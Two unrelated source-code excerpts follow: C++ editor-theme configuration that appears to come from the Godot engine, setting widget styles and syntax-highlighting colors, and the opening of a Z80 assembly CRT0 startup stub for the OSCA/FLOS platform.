Ref<StyleBoxFlat> style_tree_bg = style_default->duplicate();
style_tree_bg->set_bg_color(dark_color_1);
style_tree_bg->set_border_color_all(dark_color_3);
theme->set_stylebox("bg", "Tree", style_tree_bg);
const Color guide_color = Color(mono_color.r, mono_color.g, mono_color.b, 0.05);
// Tree
theme->set_icon("checked", "Tree", theme->get_icon("GuiChecked", "EditorIcons"));
theme->set_icon("unchecked", "Tree", theme->get_icon("GuiUnchecked", "EditorIcons"));
theme->set_icon("arrow_up", "Tree", theme->get_icon("GuiTreeArrowUp", "EditorIcons"));
theme->set_icon("arrow", "Tree", theme->get_icon("GuiTreeArrowDown", "EditorIcons"));
theme->set_icon("arrow_collapsed", "Tree", theme->get_icon("GuiTreeArrowRight", "EditorIcons"));
theme->set_icon("updown", "Tree", theme->get_icon("GuiTreeUpdown", "EditorIcons"));
theme->set_icon("select_arrow", "Tree", theme->get_icon("GuiDropdown", "EditorIcons"));
theme->set_icon("select_option", "Tree", theme->get_icon("GuiTreeOption", "EditorIcons"));
theme->set_stylebox("bg_focus", "Tree", style_focus);
theme->set_stylebox("custom_button", "Tree", make_empty_stylebox());
theme->set_stylebox("custom_button_pressed", "Tree", make_empty_stylebox());
theme->set_stylebox("custom_button_hover", "Tree", style_widget);
theme->set_color("custom_button_font_highlight", "Tree", font_color_hl);
theme->set_color("font_color", "Tree", font_color);
theme->set_color("font_color_selected", "Tree", mono_color);
theme->set_color("title_button_color", "Tree", font_color);
theme->set_color("guide_color", "Tree", guide_color);
theme->set_color("drop_position_color", "Tree", accent_color);
theme->set_constant("vseparation", "Tree", (extra_spacing + default_margin_size) * EDSCALE);
theme->set_constant("hseparation", "Tree", (extra_spacing + default_margin_size) * EDSCALE);
theme->set_constant("guide_width", "Tree", border_width);
theme->set_constant("item_margin", "Tree", 3 * default_margin_size * EDSCALE);
theme->set_constant("button_margin", "Tree", default_margin_size * EDSCALE);
theme->set_constant("draw_relationship_lines", "Tree", 0);
theme->set_constant("scroll_border", "Tree", default_margin_size * EDSCALE);
theme->set_constant("scroll_speed", "Tree", 12);
Ref<StyleBoxFlat> style_tree_btn = style_default->duplicate();
style_tree_btn->set_bg_color(contrast_color_1);
style_tree_btn->set_border_width_all(0);
theme->set_stylebox("button_pressed", "Tree", style_tree_btn);
Ref<StyleBoxFlat> style_tree_focus = style_default->duplicate();
style_tree_focus->set_bg_color(highlight_color);
style_tree_focus->set_border_width_all(0);
theme->set_stylebox("selected_focus", "Tree", style_tree_focus);
Ref<StyleBoxFlat> style_tree_selected = style_tree_focus->duplicate();
theme->set_stylebox("selected", "Tree", style_tree_selected);
Ref<StyleBoxFlat> style_tree_cursor = style_default->duplicate();
style_tree_cursor->set_draw_center(false);
style_tree_cursor->set_border_width_all(border_width);
style_tree_cursor->set_border_color_all(contrast_color_1);
Ref<StyleBoxFlat> style_tree_title = style_default->duplicate();
style_tree_title->set_bg_color(dark_color_3);
style_tree_title->set_border_width_all(0);
theme->set_stylebox("cursor", "Tree", style_tree_cursor);
theme->set_stylebox("cursor_unfocused", "Tree", style_tree_cursor);
theme->set_stylebox("title_button_normal", "Tree", style_tree_title);
theme->set_stylebox("title_button_hover", "Tree", style_tree_title);
theme->set_stylebox("title_button_pressed", "Tree", style_tree_title);
Color prop_category_color = dark_color_1.linear_interpolate(mono_color, 0.12);
Color prop_section_color = dark_color_1.linear_interpolate(mono_color, 0.09);
Color prop_subsection_color = dark_color_1.linear_interpolate(mono_color, 0.06);
theme->set_color("prop_category", "Editor", prop_category_color);
theme->set_color("prop_section", "Editor", prop_section_color);
theme->set_color("prop_subsection", "Editor", prop_subsection_color);
theme->set_color("drop_position_color", "Tree", accent_color);
// ItemList
Ref<StyleBoxFlat> style_itemlist_bg = style_default->duplicate();
style_itemlist_bg->set_bg_color(dark_color_1);
style_itemlist_bg->set_border_width_all(border_width);
style_itemlist_bg->set_border_color_all(dark_color_3);
Ref<StyleBoxFlat> style_itemlist_cursor = style_default->duplicate();
style_itemlist_cursor->set_draw_center(false);
style_itemlist_cursor->set_border_width_all(border_width);
style_itemlist_cursor->set_border_color_all(highlight_color);
theme->set_stylebox("cursor", "ItemList", style_itemlist_cursor);
theme->set_stylebox("cursor_unfocused", "ItemList", style_itemlist_cursor);
theme->set_stylebox("selected_focus", "ItemList", style_tree_focus);
theme->set_stylebox("selected", "ItemList", style_tree_selected);
theme->set_stylebox("bg_focus", "ItemList", style_focus);
theme->set_stylebox("bg", "ItemList", style_itemlist_bg);
theme->set_color("font_color", "ItemList", font_color);
theme->set_color("font_color_selected", "ItemList", mono_color);
theme->set_color("guide_color", "ItemList", guide_color);
theme->set_constant("vseparation", "ItemList", 3 * EDSCALE);
theme->set_constant("hseparation", "ItemList", 3 * EDSCALE);
theme->set_constant("icon_margin", "ItemList", default_margin_size * EDSCALE);
theme->set_constant("line_separation", "ItemList", 3 * EDSCALE);
// Tabs & TabContainer
theme->set_stylebox("tab_fg", "TabContainer", style_tab_selected);
theme->set_stylebox("tab_bg", "TabContainer", style_tab_unselected);
theme->set_stylebox("tab_disabled", "TabContainer", style_tab_disabled);
theme->set_stylebox("tab_fg", "Tabs", style_tab_selected);
theme->set_stylebox("tab_bg", "Tabs", style_tab_unselected);
theme->set_stylebox("tab_disabled", "Tabs", style_tab_disabled);
theme->set_color("font_color_fg", "TabContainer", font_color);
theme->set_color("font_color_bg", "TabContainer", font_color_disabled);
theme->set_color("font_color_fg", "Tabs", font_color);
theme->set_color("font_color_bg", "Tabs", font_color_disabled);
theme->set_icon("menu", "TabContainer", theme->get_icon("GuiTabMenu", "EditorIcons"));
theme->set_icon("menu_hl", "TabContainer", theme->get_icon("GuiTabMenu", "EditorIcons"));
theme->set_stylebox("SceneTabFG", "EditorStyles", style_tab_selected);
theme->set_stylebox("SceneTabBG", "EditorStyles", style_tab_unselected);
theme->set_icon("close", "Tabs", theme->get_icon("GuiClose", "EditorIcons"));
theme->set_stylebox("button_pressed", "Tabs", style_menu);
theme->set_stylebox("button", "Tabs", style_menu);
theme->set_icon("increment", "TabContainer", theme->get_icon("GuiScrollArrowRight", "EditorIcons"));
theme->set_icon("decrement", "TabContainer", theme->get_icon("GuiScrollArrowLeft", "EditorIcons"));
theme->set_icon("increment", "Tabs", theme->get_icon("GuiScrollArrowRight", "EditorIcons"));
theme->set_icon("decrement", "Tabs", theme->get_icon("GuiScrollArrowLeft", "EditorIcons"));
theme->set_icon("increment_highlight", "Tabs", theme->get_icon("GuiScrollArrowRight", "EditorIcons"));
theme->set_icon("decrement_highlight", "Tabs", theme->get_icon("GuiScrollArrowLeft", "EditorIcons"));
theme->set_icon("increment_highlight", "TabContainer", theme->get_icon("GuiScrollArrowRight", "EditorIcons"));
theme->set_icon("decrement_highlight", "TabContainer", theme->get_icon("GuiScrollArrowLeft", "EditorIcons"));
theme->set_constant("hseparation", "Tabs", 4 * EDSCALE);
// Content of each tab
Ref<StyleBoxFlat> style_content_panel = style_default->duplicate();
style_content_panel->set_border_color_all(dark_color_3);
style_content_panel->set_border_width_all(border_width);
// compensate the border
style_content_panel->set_default_margin(MARGIN_TOP, margin_size_extra * EDSCALE);
style_content_panel->set_default_margin(MARGIN_RIGHT, margin_size_extra * EDSCALE);
style_content_panel->set_default_margin(MARGIN_BOTTOM, margin_size_extra * EDSCALE);
style_content_panel->set_default_margin(MARGIN_LEFT, margin_size_extra * EDSCALE);
// this is the stylebox used in 3d and 2d viewports (no borders)
Ref<StyleBoxFlat> style_content_panel_vp = style_content_panel->duplicate();
style_content_panel_vp->set_default_margin(MARGIN_LEFT, border_width * 2);
style_content_panel_vp->set_default_margin(MARGIN_TOP, default_margin_size * EDSCALE);
style_content_panel_vp->set_default_margin(MARGIN_RIGHT, border_width * 2);
style_content_panel_vp->set_default_margin(MARGIN_BOTTOM, border_width * 2);
theme->set_stylebox("panel", "TabContainer", style_content_panel);
theme->set_stylebox("Content", "EditorStyles", style_content_panel_vp);
// Separators
theme->set_stylebox("separator", "HSeparator", make_line_stylebox(separator_color, border_width));
theme->set_stylebox("separator", "VSeparator", make_line_stylebox(separator_color, border_width, 0, 0, true));
// Debugger
Ref<StyleBoxFlat> style_panel_debugger = style_content_panel->duplicate();
style_panel_debugger->set_border_width(MARGIN_BOTTOM, 0);
theme->set_stylebox("DebuggerPanel", "EditorStyles", style_panel_debugger);
theme->set_stylebox("DebuggerTabFG", "EditorStyles", style_tab_selected);
theme->set_stylebox("DebuggerTabBG", "EditorStyles", style_tab_unselected);
Ref<StyleBoxFlat> style_panel_invisible_top = style_content_panel->duplicate();
int stylebox_offset = theme->get_font("tab_fg", "TabContainer")->get_height() + theme->get_stylebox("tab_fg", "TabContainer")->get_minimum_size().height + theme->get_stylebox("panel", "TabContainer")->get_default_margin(MARGIN_TOP);
style_panel_invisible_top->set_expand_margin_size(MARGIN_TOP, -stylebox_offset);
theme->set_stylebox("BottomPanelDebuggerOverride", "EditorStyles", style_panel_invisible_top);
// LineEdit
theme->set_stylebox("normal", "LineEdit", style_widget);
theme->set_stylebox("focus", "LineEdit", style_widget_focus);
theme->set_stylebox("read_only", "LineEdit", style_widget_disabled);
theme->set_color("read_only", "LineEdit", font_color_disabled);
theme->set_color("font_color", "LineEdit", font_color);
theme->set_color("cursor_color", "LineEdit", font_color);
theme->set_color("selection_color", "LineEdit", font_color_selection);
theme->set_color("clear_button_color", "LineEdit", font_color);
theme->set_color("clear_button_color_pressed", "LineEdit", accent_color);
// TextEdit
theme->set_stylebox("normal", "TextEdit", style_widget);
theme->set_stylebox("focus", "TextEdit", style_widget_hover);
theme->set_stylebox("read_only", "TextEdit", style_widget_disabled);
theme->set_constant("side_margin", "TabContainer", 0);
theme->set_icon("tab", "TextEdit", theme->get_icon("GuiTab", "EditorIcons"));
theme->set_color("font_color", "TextEdit", font_color);
theme->set_color("caret_color", "TextEdit", highlight_color);
theme->set_color("selection_color", "TextEdit", font_color_selection);
// H/VSplitContainer
theme->set_stylebox("bg", "VSplitContainer", make_stylebox(theme->get_icon("GuiVsplitBg", "EditorIcons"), 1, 1, 1, 1));
theme->set_stylebox("bg", "HSplitContainer", make_stylebox(theme->get_icon("GuiHsplitBg", "EditorIcons"), 1, 1, 1, 1));
theme->set_icon("grabber", "VSplitContainer", theme->get_icon("GuiVsplitter", "EditorIcons"));
theme->set_icon("grabber", "HSplitContainer", theme->get_icon("GuiHsplitter", "EditorIcons"));
theme->set_constant("separation", "HSplitContainer", default_margin_size * 2 * EDSCALE);
theme->set_constant("separation", "VSplitContainer", default_margin_size * 2 * EDSCALE);
// Containers
theme->set_constant("separation", "BoxContainer", default_margin_size * EDSCALE);
theme->set_constant("separation", "HBoxContainer", default_margin_size * EDSCALE);
theme->set_constant("separation", "VBoxContainer", default_margin_size * EDSCALE);
theme->set_constant("margin_left", "MarginContainer", 0);
theme->set_constant("margin_top", "MarginContainer", 0);
theme->set_constant("margin_right", "MarginContainer", 0);
theme->set_constant("margin_bottom", "MarginContainer", 0);
theme->set_constant("hseparation", "GridContainer", default_margin_size * EDSCALE);
theme->set_constant("vseparation", "GridContainer", default_margin_size * EDSCALE);
// WindowDialog
Ref<StyleBoxFlat> style_window = style_popup->duplicate();
style_window->set_border_color_all(tab_color);
style_window->set_border_width(MARGIN_TOP, 24 * EDSCALE);
style_window->set_expand_margin_size(MARGIN_TOP, 24 * EDSCALE);
theme->set_stylebox("panel", "WindowDialog", style_window);
theme->set_color("title_color", "WindowDialog", font_color);
theme->set_icon("close", "WindowDialog", theme->get_icon("GuiClose", "EditorIcons"));
theme->set_icon("close_highlight", "WindowDialog", theme->get_icon("GuiClose", "EditorIcons"));
theme->set_constant("close_h_ofs", "WindowDialog", 22 * EDSCALE);
theme->set_constant("close_v_ofs", "WindowDialog", 20 * EDSCALE);
theme->set_constant("title_height", "WindowDialog", 24 * EDSCALE);
theme->set_font("title_font", "WindowDialog", theme->get_font("title", "EditorFonts"));
// complex window, for now only Editor settings and Project settings
Ref<StyleBoxFlat> style_complex_window = style_window->duplicate();
style_complex_window->set_bg_color(dark_color_2);
style_complex_window->set_border_color_all(highlight_tabs ? tab_color : dark_color_2);
theme->set_stylebox("panel", "EditorSettingsDialog", style_complex_window);
theme->set_stylebox("panel", "ProjectSettingsEditor", style_complex_window);
theme->set_stylebox("panel", "EditorAbout", style_complex_window);
// HScrollBar
Ref<Texture> empty_icon = memnew(ImageTexture);
theme->set_stylebox("scroll", "HScrollBar", make_stylebox(theme->get_icon("GuiScrollBg", "EditorIcons"), 5, 5, 5, 5, 0, 0, 0, 0));
theme->set_stylebox("scroll_focus", "HScrollBar", make_stylebox(theme->get_icon("GuiScrollBg", "EditorIcons"), 5, 5, 5, 5, 0, 0, 0, 0));
theme->set_stylebox("grabber", "HScrollBar", make_stylebox(theme->get_icon("GuiScrollGrabber", "EditorIcons"), 6, 6, 6, 6, 2, 2, 2, 2));
theme->set_stylebox("grabber_highlight", "HScrollBar", make_stylebox(theme->get_icon("GuiScrollGrabberHl", "EditorIcons"), 5, 5, 5, 5, 2, 2, 2, 2));
theme->set_stylebox("grabber_pressed", "HScrollBar", make_stylebox(theme->get_icon("GuiScrollGrabberPressed", "EditorIcons"), 6, 6, 6, 6, 2, 2, 2, 2));
theme->set_icon("increment", "HScrollBar", empty_icon);
theme->set_icon("increment_highlight", "HScrollBar", empty_icon);
theme->set_icon("decrement", "HScrollBar", empty_icon);
theme->set_icon("decrement_highlight", "HScrollBar", empty_icon);
// VScrollBar
theme->set_stylebox("scroll", "VScrollBar", make_stylebox(theme->get_icon("GuiScrollBg", "EditorIcons"), 5, 5, 5, 5, 0, 0, 0, 0));
theme->set_stylebox("scroll_focus", "VScrollBar", make_stylebox(theme->get_icon("GuiScrollBg", "EditorIcons"), 5, 5, 5, 5, 0, 0, 0, 0));
theme->set_stylebox("grabber", "VScrollBar", make_stylebox(theme->get_icon("GuiScrollGrabber", "EditorIcons"), 6, 6, 6, 6, 2, 2, 2, 2));
theme->set_stylebox("grabber_highlight", "VScrollBar", make_stylebox(theme->get_icon("GuiScrollGrabberHl", "EditorIcons"), 5, 5, 5, 5, 2, 2, 2, 2));
theme->set_stylebox("grabber_pressed", "VScrollBar", make_stylebox(theme->get_icon("GuiScrollGrabberPressed", "EditorIcons"), 6, 6, 6, 6, 2, 2, 2, 2));
theme->set_icon("increment", "VScrollBar", empty_icon);
theme->set_icon("increment_highlight", "VScrollBar", empty_icon);
theme->set_icon("decrement", "VScrollBar", empty_icon);
theme->set_icon("decrement_highlight", "VScrollBar", empty_icon);
// HSlider
theme->set_icon("grabber_highlight", "HSlider", theme->get_icon("GuiSliderGrabberHl", "EditorIcons"));
theme->set_icon("grabber", "HSlider", theme->get_icon("GuiSliderGrabber", "EditorIcons"));
theme->set_stylebox("slider", "HSlider", make_flat_stylebox(dark_color_3, 0, default_margin_size / 2, 0, default_margin_size / 2));
theme->set_stylebox("grabber_area", "HSlider", make_flat_stylebox(contrast_color_1, 0, default_margin_size / 2, 0, default_margin_size / 2));
// VSlider
theme->set_icon("grabber", "VSlider", theme->get_icon("GuiSliderGrabber", "EditorIcons"));
theme->set_icon("grabber_highlight", "VSlider", theme->get_icon("GuiSliderGrabberHl", "EditorIcons"));
theme->set_stylebox("slider", "VSlider", make_flat_stylebox(dark_color_3, default_margin_size / 2, 0, default_margin_size / 2, 0));
theme->set_stylebox("grabber_area", "VSlider", make_flat_stylebox(contrast_color_1, default_margin_size / 2, 0, default_margin_size / 2, 0));
//RichTextLabel
theme->set_color("default_color", "RichTextLabel", font_color);
theme->set_color("font_color_shadow", "RichTextLabel", Color(0, 0, 0, 0));
theme->set_constant("shadow_offset_x", "RichTextLabel", 1 * EDSCALE);
theme->set_constant("shadow_offset_y", "RichTextLabel", 1 * EDSCALE);
theme->set_constant("shadow_as_outline", "RichTextLabel", 0 * EDSCALE);
theme->set_stylebox("focus", "RichTextLabel", make_empty_stylebox());
theme->set_stylebox("normal", "RichTextLabel", style_tree_bg);
theme->set_color("headline_color", "EditorHelp", mono_color);
// Panel
theme->set_stylebox("panel", "Panel", make_flat_stylebox(dark_color_1, 6, 4, 6, 4));
// Label
theme->set_stylebox("normal", "Label", style_empty);
theme->set_color("font_color", "Label", font_color);
theme->set_color("font_color_shadow", "Label", Color(0, 0, 0, 0));
theme->set_constant("shadow_offset_x", "Label", 1 * EDSCALE);
theme->set_constant("shadow_offset_y", "Label", 1 * EDSCALE);
theme->set_constant("shadow_as_outline", "Label", 0 * EDSCALE);
theme->set_constant("line_spacing", "Label", 3 * EDSCALE);
// LinkButton
theme->set_stylebox("focus", "LinkButton", style_empty);
theme->set_color("font_color", "LinkButton", font_color);
// TooltipPanel
Ref<StyleBoxFlat> style_tooltip = style_popup->duplicate();
float v = MAX(border_size * EDSCALE, 1.0);
style_tooltip->set_default_margin(MARGIN_LEFT, v);
style_tooltip->set_default_margin(MARGIN_TOP, v);
style_tooltip->set_default_margin(MARGIN_RIGHT, v);
style_tooltip->set_default_margin(MARGIN_BOTTOM, v);
style_tooltip->set_bg_color(Color(mono_color.r, mono_color.g, mono_color.b, 0.9));
style_tooltip->set_border_width_all(border_width);
style_tooltip->set_border_color_all(mono_color);
theme->set_color("font_color", "TooltipLabel", font_color.inverted());
theme->set_color("font_color_shadow", "TooltipLabel", mono_color.inverted() * Color(1, 1, 1, 0.1));
theme->set_stylebox("panel", "TooltipPanel", style_tooltip);
// PopupPanel
theme->set_stylebox("panel", "PopupPanel", style_popup);
// SpinBox
theme->set_icon("updown", "SpinBox", theme->get_icon("GuiSpinboxUpdown", "EditorIcons"));
// ProgressBar
theme->set_stylebox("bg", "ProgressBar", make_stylebox(theme->get_icon("GuiProgressBar", "EditorIcons"), 4, 4, 4, 4, 0, 0, 0, 0));
theme->set_stylebox("fg", "ProgressBar", make_stylebox(theme->get_icon("GuiProgressFill", "EditorIcons"), 6, 6, 6, 6, 2, 1, 2, 1));
theme->set_color("font_color", "ProgressBar", font_color);
// GraphEdit
theme->set_stylebox("bg", "GraphEdit", style_tree_bg);
theme->set_color("grid_major", "GraphEdit", Color(1.0, 1.0, 1.0, 0.15));
theme->set_color("grid_minor", "GraphEdit", Color(1.0, 1.0, 1.0, 0.07));
theme->set_color("activity", "GraphEdit", accent_color);
theme->set_icon("minus", "GraphEdit", theme->get_icon("ZoomLess", "EditorIcons"));
theme->set_icon("more", "GraphEdit", theme->get_icon("ZoomMore", "EditorIcons"));
theme->set_icon("reset", "GraphEdit", theme->get_icon("ZoomReset", "EditorIcons"));
theme->set_icon("snap", "GraphEdit", theme->get_icon("SnapGrid", "EditorIcons"));
theme->set_constant("bezier_len_pos", "GraphEdit", 80 * EDSCALE);
theme->set_constant("bezier_len_neg", "GraphEdit", 160 * EDSCALE);
// GraphNode
const float mv = dark_theme ? 0.0 : 1.0;
const float mv2 = 1.0 - mv;
const int gn_margin_side = 28;
Ref<StyleBoxFlat> graphsb = make_flat_stylebox(Color(mv, mv, mv, 0.7), gn_margin_side, 24, gn_margin_side, 5);
graphsb->set_border_width_all(border_width);
graphsb->set_border_color_all(Color(mv2, mv2, mv2, 0.9));
Ref<StyleBoxFlat> graphsbselected = make_flat_stylebox(Color(mv, mv, mv, 0.9), gn_margin_side, 24, gn_margin_side, 5);
graphsbselected->set_border_width_all(border_width);
graphsbselected->set_border_color_all(Color(accent_color.r, accent_color.g, accent_color.b, 0.9));
graphsbselected->set_shadow_size(8 * EDSCALE);
graphsbselected->set_shadow_color(shadow_color);
Ref<StyleBoxFlat> graphsbcomment = make_flat_stylebox(Color(mv, mv, mv, 0.3), gn_margin_side, 24, gn_margin_side, 5);
graphsbcomment->set_border_width_all(border_width);
graphsbcomment->set_border_color_all(Color(mv2, mv2, mv2, 0.9));
Ref<StyleBoxFlat> graphsbcommentselected = make_flat_stylebox(Color(mv, mv, mv, 0.4), gn_margin_side, 24, gn_margin_side, 5);
graphsbcommentselected->set_border_width_all(border_width);
graphsbcommentselected->set_border_color_all(Color(mv2, mv2, mv2, 0.9));
Ref<StyleBoxFlat> graphsbbreakpoint = graphsbselected->duplicate();
graphsbbreakpoint->set_draw_center(false);
graphsbbreakpoint->set_border_color_all(warning_color);
graphsbbreakpoint->set_shadow_color(warning_color * Color(1.0, 1.0, 1.0, 0.1));
Ref<StyleBoxFlat> graphsbposition = graphsbselected->duplicate();
graphsbposition->set_draw_center(false);
graphsbposition->set_border_color_all(error_color);
graphsbposition->set_shadow_color(error_color * Color(1.0, 1.0, 1.0, 0.2));
Ref<StyleBoxFlat> smgraphsb = make_flat_stylebox(Color(mv, mv, mv, 0.7), gn_margin_side, 24, gn_margin_side, 5);
smgraphsb->set_border_width_all(border_width);
smgraphsb->set_border_color_all(Color(mv2, mv2, mv2, 0.9));
Ref<StyleBoxFlat> smgraphsbselected = make_flat_stylebox(Color(mv, mv, mv, 0.9), gn_margin_side, 24, gn_margin_side, 5);
smgraphsbselected->set_border_width_all(border_width);
smgraphsbselected->set_border_color_all(Color(accent_color.r, accent_color.g, accent_color.b, 0.9));
smgraphsbselected->set_shadow_size(8 * EDSCALE);
smgraphsbselected->set_shadow_color(shadow_color);
if (use_gn_headers) {
graphsb->set_border_width(MARGIN_TOP, 24 * EDSCALE);
graphsbselected->set_border_width(MARGIN_TOP, 24 * EDSCALE);
graphsbcomment->set_border_width(MARGIN_TOP, 24 * EDSCALE);
graphsbcommentselected->set_border_width(MARGIN_TOP, 24 * EDSCALE);
}
theme->set_stylebox("frame", "GraphNode", graphsb);
theme->set_stylebox("selectedframe", "GraphNode", graphsbselected);
theme->set_stylebox("comment", "GraphNode", graphsbcomment);
theme->set_stylebox("commentfocus", "GraphNode", graphsbcommentselected);
theme->set_stylebox("breakpoint", "GraphNode", graphsbbreakpoint);
theme->set_stylebox("position", "GraphNode", graphsbposition);
theme->set_stylebox("state_machine_frame", "GraphNode", smgraphsb);
theme->set_stylebox("state_machine_selectedframe", "GraphNode", smgraphsbselected);
Color default_node_color = Color(mv2, mv2, mv2);
theme->set_color("title_color", "GraphNode", default_node_color);
default_node_color.a = 0.7;
theme->set_color("close_color", "GraphNode", default_node_color);
theme->set_constant("port_offset", "GraphNode", 14 * EDSCALE);
theme->set_constant("title_h_offset", "GraphNode", -16 * EDSCALE);
theme->set_constant("title_offset", "GraphNode", 20 * EDSCALE);
theme->set_constant("close_h_offset", "GraphNode", 20 * EDSCALE);
theme->set_constant("close_offset", "GraphNode", 20 * EDSCALE);
theme->set_constant("separation", "GraphNode", 1 * EDSCALE);
theme->set_icon("close", "GraphNode", theme->get_icon("GuiCloseCustomizable", "EditorIcons"));
theme->set_icon("resizer", "GraphNode", theme->get_icon("GuiResizer", "EditorIcons"));
theme->set_icon("port", "GraphNode", theme->get_icon("GuiGraphNodePort", "EditorIcons"));
// GridContainer
theme->set_constant("vseperation", "GridContainer", (extra_spacing + default_margin_size) * EDSCALE);
// FileDialog
theme->set_icon("folder", "FileDialog", theme->get_icon("Folder", "EditorIcons"));
theme->set_color("files_disabled", "FileDialog", font_color_disabled);
// color picker
theme->set_constant("margin", "ColorPicker", popup_margin_size);
theme->set_constant("sv_width", "ColorPicker", 256 * EDSCALE);
theme->set_constant("sv_height", "ColorPicker", 256 * EDSCALE);
theme->set_constant("h_width", "ColorPicker", 30 * EDSCALE);
theme->set_constant("label_width", "ColorPicker", 10 * EDSCALE);
theme->set_icon("screen_picker", "ColorPicker", theme->get_icon("ColorPick", "EditorIcons"));
theme->set_icon("add_preset", "ColorPicker", theme->get_icon("Add", "EditorIcons"));
theme->set_icon("preset_bg", "ColorPicker", theme->get_icon("GuiMiniCheckerboard", "EditorIcons"));
theme->set_icon("bg", "ColorPickerButton", theme->get_icon("GuiMiniCheckerboard", "EditorIcons"));
// Information on 3D viewport
Ref<StyleBoxFlat> style_info_3d_viewport = style_default->duplicate();
style_info_3d_viewport->set_bg_color(style_info_3d_viewport->get_bg_color() * Color(1, 1, 1, 0.5));
style_info_3d_viewport->set_border_width_all(0);
theme->set_stylebox("Information3dViewport", "EditorStyles", style_info_3d_viewport);
// adaptive script theme constants
// for comments and elements with lower relevance
const Color dim_color = Color(font_color.r, font_color.g, font_color.b, 0.5);
const float mono_value = mono_color.r;
const Color alpha1 = Color(mono_value, mono_value, mono_value, 0.07);
const Color alpha2 = Color(mono_value, mono_value, mono_value, 0.14);
const Color alpha3 = Color(mono_value, mono_value, mono_value, 0.7);
// editor main color
const Color main_color = Color::html(dark_theme ? "#57b3ff" : "#0480ff");
const Color symbol_color = Color::html("#5792ff").linear_interpolate(mono_color, dark_theme ? 0.5 : 0.3);
const Color keyword_color = Color::html("#ff7185");
const Color basetype_color = Color::html(dark_theme ? "#42ffc2" : "#00c161");
const Color type_color = basetype_color.linear_interpolate(mono_color, dark_theme ? 0.7 : 0.5);
const Color comment_color = dim_color;
const Color string_color = Color::html(dark_theme ? "#ffd942" : "#ffd118").linear_interpolate(mono_color, dark_theme ? 0.5 : 0.3);
const Color te_background_color = dark_theme ? background_color : base_color;
const Color completion_background_color = dark_theme ? base_color : background_color;
const Color completion_selected_color = alpha1;
const Color completion_existing_color = alpha2;
const Color completion_scroll_color = alpha1;
const Color completion_font_color = font_color;
const Color text_color = font_color;
const Color line_number_color = dim_color;
const Color safe_line_number_color = dim_color * Color(1, 1.2, 1, 1.5);
const Color caret_color = mono_color;
const Color caret_background_color = mono_color.inverted();
const Color text_selected_color = dark_color_3;
const Color selection_color = alpha2;
const Color brace_mismatch_color = error_color;
const Color current_line_color = alpha1;
const Color line_length_guideline_color = dark_theme ? base_color : background_color;
const Color word_highlighted_color = alpha1;
const Color number_color = basetype_color.linear_interpolate(mono_color, dark_theme ? 0.5 : 0.3);
const Color function_color = main_color;
const Color member_variable_color = main_color.linear_interpolate(mono_color, 0.6);
const Color mark_color = Color(error_color.r, error_color.g, error_color.b, 0.3);
const Color breakpoint_color = error_color;
const Color code_folding_color = alpha3;
const Color search_result_color = alpha1;
const Color search_result_border_color = alpha3;
EditorSettings *setting = EditorSettings::get_singleton();
String text_editor_color_theme = setting->get("text_editor/theme/color_theme");
if (text_editor_color_theme == "Adaptive") {
setting->set_initial_value("text_editor/highlighting/symbol_color", symbol_color, true);
setting->set_initial_value("text_editor/highlighting/keyword_color", keyword_color, true);
setting->set_initial_value("text_editor/highlighting/base_type_color", basetype_color, true);
setting->set_initial_value("text_editor/highlighting/engine_type_color", type_color, true);
setting->set_initial_value("text_editor/highlighting/comment_color", comment_color, true);
setting->set_initial_value("text_editor/highlighting/string_color", string_color, true);
setting->set_initial_value("text_editor/highlighting/background_color", te_background_color, true);
setting->set_initial_value("text_editor/highlighting/completion_background_color", completion_background_color, true);
setting->set_initial_value("text_editor/highlighting/completion_selected_color", completion_selected_color, true);
setting->set_initial_value("text_editor/highlighting/completion_existing_color", completion_existing_color, true);
setting->set_initial_value("text_editor/highlighting/completion_scroll_color", completion_scroll_color, true);
setting->set_initial_value("text_editor/highlighting/completion_font_color", completion_font_color, true);
setting->set_initial_value("text_editor/highlighting/text_color", text_color, true);
setting->set_initial_value("text_editor/highlighting/line_number_color", line_number_color, true);
setting->set_initial_value("text_editor/highlighting/safe_line_number_color", safe_line_number_color, true);
setting->set_initial_value("text_editor/highlighting/caret_color", caret_color, true);
setting->set_initial_value("text_editor/highlighting/caret_background_color", caret_background_color, true);
setting->set_initial_value("text_editor/highlighting/text_selected_color", text_selected_color, true);
setting->set_initial_value("text_editor/highlighting/selection_color", selection_color, true);
setting->set_initial_value("text_editor/highlighting/brace_mismatch_color", brace_mismatch_color, true);
setting->set_initial_value("text_editor/highlighting/current_line_color", current_line_color, true);
setting->set_initial_value("text_editor/highlighting/line_length_guideline_color", line_length_guideline_color, true);
setting->set_initial_value("text_editor/highlighting/word_highlighted_color", word_highlighted_color, true);
setting->set_initial_value("text_editor/highlighting/number_color", number_color, true);
setting->set_initial_value("text_editor/highlighting/function_color", function_color, true);
setting->set_initial_value("text_editor/highlighting/member_variable_color", member_variable_color, true);
setting->set_initial_value("text_editor/highlighting/mark_color", mark_color, true);
setting->set_initial_value("text_editor/highlighting/breakpoint_color", breakpoint_color, true);
setting->set_initial_value("text_editor/highlighting/code_folding_color", code_folding_color, true);
setting->set_initial_value("text_editor/highlighting/search_result_color", search_result_color, true);
setting->set_initial_value("text_editor/highlighting/search_result_border_color", search_result_border_color, true);
} else if (text_editor_color_theme == "Default") {
setting->load_text_editor_theme();
}
return theme;
}
Ref<Theme> create_custom_theme(const Ref<Theme> p_theme) {
Ref<Theme> theme;
String custom_theme = EditorSettings::get_singleton()->get("interface/theme/custom_theme");
if (custom_theme != "") {
theme = ResourceLoader::load(custom_theme);
}
if (!theme.is_valid()) {
theme = create_editor_theme(p_theme);
}
return theme;
}
|
; CRT0 stub for the Old School Computer Architecture (FLOS)
;
; Stefano Bodrato - Jul. 2011
;
;
; EXTRA OPTIONS:
;
; At C source level:
; #pragma output osca_bank=(0..14) set the memory bank for locations > 32768 before loading program
; #pragma output REGISTER_SP=<value> put the stack in a differen place, i.e. 32767
; #pragma output nostreams - No stdio disc files
; #pragma output noredir - do not insert the file redirection option while parsing the
; command line arguments (useless if "nostreams" is set)
; #pragma output osca_notimer - Save very few bytes and excludes the clock handling,
; thus disabling those functions connected to time.h
; #pragma output osca_restoretxt - works only with FLOS > v547, restores the text mode on program exit
;
; At compile time:
; -zorg=<location> parameter permits to specify the program position
;
; $Id: osca_crt0.asm,v 1.38 2016-07-15 21:38:08 dom Exp $
;
MODULE osca_crt0
;
; Initially include the zcc_opt.def file to find out lots of lovely
; information about what we should do..
;
defc crt0 = 1
INCLUDE "zcc_opt.def"
; No matter what set up we have, main is always, always external to
; this file
EXTERN _main
;
; Some variables which are needed for both app and basic startup
;
PUBLIC cleanup
PUBLIC l_dcal
